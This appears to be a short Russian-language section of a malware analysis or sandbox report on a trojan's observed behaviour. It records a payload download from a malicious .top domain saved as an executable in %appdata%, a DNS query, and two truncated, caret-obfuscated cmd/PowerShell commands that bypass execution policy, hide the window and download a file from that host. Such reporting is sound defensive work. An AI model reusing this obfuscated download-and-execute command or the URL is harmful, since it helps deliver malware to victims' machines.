Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^rS^h^Ell^.^Exe ^-exeCuTi^oNPoLIC^Y B^YP^A^s^s^ -NO^Pr^ofile ^-^w^IN^DOws^T^y^le ^HID^DEn (nEw-^oBj^eCt^ s^Y^s^TeM.nE^t.W^E^B^clI^e^nT)^.^DOwNlO^adF^ilE^('http://www.zo...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^rS^h^Ell^.^Exe ^-exeCuTi^oNPoLIC^Y B^YP^A^s^s^ -NO^Pr^ofile ^-^w^IN^DOws^T^y^le ^HID^DEn (nEw-^oBj^eCt^ s^Y^s^TeM.nE^t.W^E^B^clI^e^nT)^.^DOwNlO^adF^ilE^('http://www.zo...' (со скрытым окном)